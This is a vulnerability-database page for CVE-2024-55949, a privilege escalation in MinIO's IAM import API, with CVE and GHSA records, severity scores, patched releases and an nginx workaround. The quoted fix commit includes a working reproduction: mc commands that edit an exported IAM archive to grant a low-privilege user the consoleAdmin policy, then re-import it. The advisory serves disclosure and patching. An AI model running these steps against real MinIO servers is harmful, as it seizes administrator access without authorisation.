cvelistv5 - CVE-2024-55949

CVE-2024-55949

Vulnerability from cvelistv5

Published

2024-12-16 20:02

Modified

2024-12-16 20:18

Severity ?

9.3 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Summary

MinIO is a high-performance, S3 compatible object store, open sourced under GNU AGPLv3 license. Minio is subject to a privilege escalation in IAM import API, all users are impacted since MinIO commit `580d9db85e04f1b63cc2909af50f0ed08afa965f`. This issue has been addressed in commit `f246c9053f9603e610d98439799bdd2a6b293427` which is included in RELEASE.2024-12-13T22-19-12Z. There are no workarounds possible, all users are advised to upgrade immediately.

References

▼	URL	Tags
	security-advisories@github.com	https://github.com/minio/minio/commit/580d9db85e04f1b63cc2909af50f0ed08afa965f
	security-advisories@github.com	https://github.com/minio/minio/commit/f246c9053f9603e610d98439799bdd2a6b293427
	security-advisories@github.com	https://github.com/minio/minio/pull/20756
	security-advisories@github.com	https://github.com/minio/minio/security/advisories/GHSA-cwq8-g58r-32hg

Impacted products

Vendor

Product

Version

▼

minio

Version: >= RELEASE.2022-06-25T15-50-16Z, < RELEASE.2024-12-13T22-19-12Z

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-55949",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-12-16T20:18:23.221689Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-12-16T20:18:46.452Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "minio",
          "vendor": "minio",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= RELEASE.2022-06-25T15-50-16Z, \u003c RELEASE.2024-12-13T22-19-12Z"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "MinIO is a high-performance, S3 compatible object store, open sourced under GNU AGPLv3 license. Minio is subject to a privilege escalation in IAM import API, all users are impacted since MinIO commit `580d9db85e04f1b63cc2909af50f0ed08afa965f`. This issue has been addressed in commit `f246c9053f9603e610d98439799bdd2a6b293427` which is included in RELEASE.2024-12-13T22-19-12Z. There are no workarounds possible, all users are advised to upgrade immediately."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 9.3,
            "baseSeverity": "CRITICAL",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-269",
              "description": "CWE-269: Improper Privilege Management",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-12-16T20:02:00.856Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/minio/minio/security/advisories/GHSA-cwq8-g58r-32hg",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/minio/minio/security/advisories/GHSA-cwq8-g58r-32hg"
        },
        {
          "name": "https://github.com/minio/minio/pull/20756",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/minio/minio/pull/20756"
        },
        {
          "name": "https://github.com/minio/minio/commit/580d9db85e04f1b63cc2909af50f0ed08afa965f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/minio/minio/commit/580d9db85e04f1b63cc2909af50f0ed08afa965f"
        },
        {
          "name": "https://github.com/minio/minio/commit/f246c9053f9603e610d98439799bdd2a6b293427",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/minio/minio/commit/f246c9053f9603e610d98439799bdd2a6b293427"
        }
      ],
      "source": {
        "advisory": "GHSA-cwq8-g58r-32hg",
        "discovery": "UNKNOWN"
      },
      "title": "Privilege escalation in IAM import API in MinIO"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2024-55949",
    "datePublished": "2024-12-16T20:02:00.856Z",
    "dateReserved": "2024-12-13T17:39:32.960Z",
    "dateUpdated": "2024-12-16T20:18:46.452Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2024-55949\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2024-12-16T20:15:13.683\",\"lastModified\":\"2024-12-16T20:15:13.683\",\"vulnStatus\":\"Awaiting Analysis\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"MinIO is a high-performance, S3 compatible object store, open sourced under GNU AGPLv3 license. Minio is subject to a privilege escalation in IAM import API, all users are impacted since MinIO commit `580d9db85e04f1b63cc2909af50f0ed08afa965f`. This issue has been addressed in commit `f246c9053f9603e610d98439799bdd2a6b293427` which is included in RELEASE.2024-12-13T22-19-12Z. There are no workarounds possible, all users are advised to upgrade immediately.\"},{\"lang\":\"es\",\"value\":\"MinIO es un almac\u00e9n de objetos de alto rendimiento, compatible con S3, de c\u00f3digo abierto bajo la licencia GNU AGPLv3. Minio est\u00e1 sujeto a una escalada de privilegios en la API de importaci\u00f3n de IAM; todos los usuarios se ven afectados desde el commit de MinIO `580d9db85e04f1b63cc2909af50f0ed08afa965f`. Este problema se ha solucionado en el commit `f246c9053f9603e610d98439799bdd2a6b293427`, que se incluye en RELEASE.2024-12-13T22-19-12Z. No hay workarounds posibles; se recomienda a todos los usuarios que actualicen de inmediato.\"}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":9.3,\"baseSeverity\":\"CRITICAL\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"vulnerableSystemConfidentiality\":\"HIGH\",\"vulnerableSystemIntegrity\":\"HIGH\",\"vulnerableSystemAvailability\":\"NONE\",\"subsequentSystemConfidentiality\":\"NONE\",\"subsequentSystemIntegrity\":\"NONE\",\"subsequentSystemAvailability\":\"NONE\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirements\":\"NOT_DEFINED\",\"integrityRequirements\":\"NOT_DEFINED\",\"availabilityRequirements\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnerableSystemConfidentiality\":\"NOT_DEFINED\",\"modifiedVulnerableSystemIntegrity\":\"NOT_DEFINED\",\"modifiedVulnerableSystemAvailability\":\"NOT_DEFINED\",\"modifiedSubsequentSystemConfidentiality\":\"NOT_DEFINED\",\"modifiedSubsequentSystemIntegrity\":\"NOT_DEFINED\",\"modifiedSubsequentSystemAvailability\":\"NOT_DEFINED\",\"safety\":\"NOT_DEFINED\",\"automatable\":\"NOT_DEFINED\",\"recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-269\"}]}],\"references\":[{\"url\":\"https://github.com/minio/minio/commit/580d9db85e04f1b63cc2909af50f0ed08afa965f\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/minio/minio/commit/f246c9053f9603e610d98439799bdd2a6b293427\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/minio/minio/pull/20756\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/minio/minio/security/advisories/GHSA-cwq8-g58r-32hg\",\"source\":\"security-advisories@github.com\"}]}}"
  }
}

ghsa-cwq8-g58r-32hg

Vulnerability from github

Published

2024-12-16 17:27

Modified

2024-12-20 14:09

Severity ?

7.1 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Summary

MinIO vulnerable to privilege escalation in IAM import API

Details

Impact

Privilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f

Patches

``` commit f246c9053f9603e610d98439799bdd2a6b293427 Author: Aditya Manthramurthy donatello@users.noreply.github.com Date: Wed Dec 11 18:09:40 2024 -0800

fix: Privilege escalation in IAM import API (#20756)

This API had missing permissions checking, allowing a user to change
their policy mapping by:

1. Craft iam-info.zip file: Update own user permission in
user_mappings.json
2. Upload it via `mc admin cluster iam import nobody iam-info.zip`

Here `nobody` can be a user with pretty much any kind of permission (but
not anonymous) and this ends up working.

Some more detailed steps - start from a fresh setup:

```
./minio server /tmp/d{1...4} &
mc alias set myminio http://localhost:9000 minioadmin minioadmin
mc admin user add myminio nobody nobody123
mc admin policy attach myminio readwrite nobody nobody123
mc alias set nobody http://localhost:9000 nobody nobody123

mc admin cluster iam export myminio
mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x
cd /tmp/x
unzip myminio-iam-info.zip
echo '{"nobody":{"version":1,"policy":"consoleAdmin","updatedAt":"2024-08-13T19:47:10.1Z"}}' > \
      iam-assets/user_mappings.json
zip -r myminio-iam-info-updated.zip iam-assets/

mc admin cluster iam import nobody ./myminio-iam-info-updated.zip
mc admin service restart nobody
```

```

Workarounds

There are no workarounds possible, all users are advised to upgrade immediately if you don't run MinIO behind a load balancer.

Behind a load balancer / firewall such as nginx .

location /minio/admin/v2/import-iam { ... }

location /minio/admin/v3/import-iam-v2 { ...

Following locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.

References

Refer https://github.com/minio/minio/pull/20756 for more information

Binary Releases

AiStor Containers

quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips

AiStor Binaries

Architecture: `linux/amd64`

https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z

Architecture: `linux/arm64`

https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z

Architecture: `windows/amd64`

https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z

Community Containers

quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips

Community Binaries

Architecture: `linux/amd64`

https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z

Architecture: `linux/arm64`

https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z

Architecture: `windows/amd64`

https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z

Credits

Credit goes to National Security Agency for reporting this issue.

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/minio/minio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-20220623162515-580d9db85e04"
            },
            {
              "fixed": "0.0.0-20241213221912-68b004a48f41"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-55949"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-16T17:27:53Z",
    "nvd_published_at": "2024-12-16T20:15:13Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nPrivilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f\n\n### Patches\n```\ncommit f246c9053f9603e610d98439799bdd2a6b293427\nAuthor: Aditya Manthramurthy \u003cdonatello@users.noreply.github.com\u003e\nDate:   Wed Dec 11 18:09:40 2024 -0800\n\n    fix: Privilege escalation in IAM import API (#20756)\n    \n    This API had missing permissions checking, allowing a user to change\n    their policy mapping by:\n    \n    1. Craft iam-info.zip file: Update own user permission in\n    user_mappings.json\n    2. Upload it via `mc admin cluster iam import nobody iam-info.zip`\n    \n    Here `nobody` can be a user with pretty much any kind of permission (but\n    not anonymous) and this ends up working.\n    \n    Some more detailed steps - start from a fresh setup:\n    \n    ```\n    ./minio server /tmp/d{1...4} \u0026\n    mc alias set myminio http://localhost:9000 minioadmin minioadmin\n    mc admin user add myminio nobody nobody123\n    mc admin policy attach myminio readwrite nobody nobody123\n    mc alias set nobody http://localhost:9000 nobody nobody123\n    \n    mc admin cluster iam export myminio\n    mkdir /tmp/x \u0026\u0026 mv myminio-iam-info.zip /tmp/x\n    cd /tmp/x\n    unzip myminio-iam-info.zip\n    echo \u0027{\"nobody\":{\"version\":1,\"policy\":\"consoleAdmin\",\"updatedAt\":\"2024-08-13T19:47:10.1Z\"}}\u0027 \u003e \\\n          iam-assets/user_mappings.json\n    zip -r myminio-iam-info-updated.zip iam-assets/\n    \n    mc admin cluster iam import nobody ./myminio-iam-info-updated.zip\n    mc admin service restart nobody\n    ```\n```\n\n### Workarounds\nThere are no workarounds possible, all users are advised to upgrade immediately if you don\u0027t run MinIO behind a load balancer.\n\nBehind a load balancer / firewall such as `nginx` . \n\n```\nlocation /minio/admin/v2/import-iam {\n...\n}\n```\n\n```\nlocation /minio/admin/v3/import-iam-v2 {\n...\n```\n\nFollowing locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.\n\n### References\nRefer https://github.com/minio/minio/pull/20756 for more information \n\n### Binary Releases\n#### AiStor Containers\n```\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips\n```\n\n#### AiStor Binaries\n#####  Architecture: `linux/amd64`\n- https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n### Community Containers\n```\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips\n```\n\n### Community Binaries\n#####  Architecture: `linux/amd64`\n- https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n### Credits\nCredit goes to [National Security Agency](https://www.nsa.gov/) for reporting this issue.\n",
  "id": "GHSA-cwq8-g58r-32hg",
  "modified": "2024-12-20T14:09:31Z",
  "published": "2024-12-16T17:27:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/minio/minio/security/advisories/GHSA-cwq8-g58r-32hg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55949"
    },
    {
      "type": "WEB",
      "url": "https://github.com/minio/minio/pull/20756"
    },
    {
      "type": "WEB",
      "url": "https://github.com/minio/minio/commit/580d9db85e04f1b63cc2909af50f0ed08afa965f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/minio/minio/commit/f246c9053f9603e610d98439799bdd2a6b293427"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/minio/minio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MinIO vulnerable to privilege escalation in IAM import API"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
Confirmed: The vulnerability is confirmed from an analyst perspective.
Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
Patched: This vulnerability was successfully patched by the user reporting the sighting.
Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
Not confirmed: The user expresses doubt about the veracity of the vulnerability.
Not patched: This vulnerability was not successfully patched by the user reporting the sighting.

Action not permitted

CVE-2024-55949

Vulnerability from cvelistv5

ghsa-cwq8-g58r-32hg

Vulnerability from github

Impact

Patches

Workarounds

References

Binary Releases

AiStor Containers

AiStor Binaries

Architecture: linux/amd64

Architecture: linux/arm64

Architecture: windows/amd64

Community Containers

Community Binaries

Architecture: linux/amd64

Architecture: linux/arm64

Architecture: windows/amd64

Credits

Tags

Sightings

Nomenclature

Architecture: `linux/amd64`

Architecture: `linux/arm64`

Architecture: `windows/amd64`

Architecture: `linux/amd64`

Architecture: `linux/arm64`

Architecture: `windows/amd64`